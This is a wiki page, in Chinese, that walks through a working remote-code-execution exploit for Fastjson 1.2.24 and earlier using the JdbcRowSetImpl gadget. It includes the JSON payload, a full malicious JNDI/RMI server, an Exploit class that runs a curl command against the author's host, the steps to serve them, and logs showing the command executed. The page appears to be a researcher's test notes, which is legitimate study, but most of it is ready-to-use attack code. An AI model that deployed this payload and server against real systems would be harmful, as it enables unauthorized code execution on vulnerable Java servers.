Skip to content

Fastjson

JoyChou edited this page Jul 3, 2019 · 5 revisions

JdbcRowSetImpl

post提交:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://test.joychou.org:1099/Exploit","autoCommit":true}

JNDIServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference =
                new Reference("Exploit", "Exploit","http://test.joychou.org:8888/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }

}

Exploit.java

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {

    public Exploit() {
        try{
            // 要执行的命令
            String commands = "curl http://test.joychou.org/fastjson";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }

}

具体利用步骤:

  1. 提供一个JNDI的Server

    javac JNDIServer.java
    java JNDIServer
    
  2. 编译要执行的命令,并且提供一个Web接口

    javac Exploit.java
    python -m SimpleHTTPServer 8888
    
  3. 提交POST的EXP,Content-Type设置为Content-Type: application/json

刚开始我测试的Java版本是8u121,但是后来了解到8u121版本默认加了trustURLCodebase选项,默认不能用该EXP。

重新下载Java 1.8.0_102进行测试,报错如下:

javax.naming.ServiceUnavailableException [
Root exception is java.rmi.ConnectException: Connection refused to host: 172.31.43.252; nested exception is: 
	java.net.ConnectException: Operation timed out]

很奇怪,出现一个内网IP,在test.joychou.org服务器上ifconfig发现,刚好是JNDIServer服务器的内网IP。所以为什么会连接内网IP,我提交的EXP明明是:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://test.joychou.org:1099/Exploit","autoCommit":true}

查看内网IP:

[root@sec]# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.31.43.252  netmask 255.255.240.0  broadcast 172.31.47.255
        ether 00:16:3e:00:7b:60  txqueuelen 1000  (Ethernet)
        RX packets 63967662  bytes 27697084474 (25.7 GiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 62689390  bytes 24462345534 (22.7 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Google发现原因是因为:

这个问题其实是由rmi服务器端程序造成的。 客户端程序向服务端请求一个对象的时候,返回的stub对象里面包含了服务器的hostname,客户端的后续操作根据这个hostname来连接服务器端。要想知道这个hostname具体是什么值可以在服务器端bash中打入指令:hostname -i 如果返回的是127.0.0.1,那么你的客户端肯定会抛如标题的异常了。

果然是这样:

[root@sec fastjson]# hostname -i
172.31.43.252
[root@sec fastjson]# hostname
sectest

解决这个很简单,修改hostname为外网IP即可。

hostname 47.52.77.204

再打一次EXP,一发入魂。收到执行的命令:

183.128.132.139 - - [20/Oct/2018 22:02:23] "GET /Exploit.class HTTP/1.1" 200 -

20/Oct/2018:22:02:23 +0800 [-] 183.128.132.139 [-] XFF: - [-] test.joychou.org [-] GET /fastjson HTTP/1.1 [-] Body: - [-] UserAgent: curl/7.54.0 [-] Referer: - [-] Cookie: - [-] 80 [-] 404

后面我又在Java 1.7的版本测试了这个JdbcRowSetImpl EXP,又有一个新的报错:

Caused by: java.lang.UnsupportedClassVersionError: Exploit : Unsupported major.minor version 52.0

Google后,发现是Java版本不兼容导致的问题。所以我在编译JNDIServer的服务器上用Java 1.7,直接打成功了。

最后的总结为,这个EXP适用于:

  • Fastjson版本小于等于1.2.24
  • Java版本小于8u121
  • Java 1.7的写的Fastjson漏洞,JNDIServer和Exploit的编译也需要Java 1.7编译。同理,1.8也一样。

Reference

https://blog.csdn.net/liupeifeng3514/article/details/78998127

Clone this wiki locally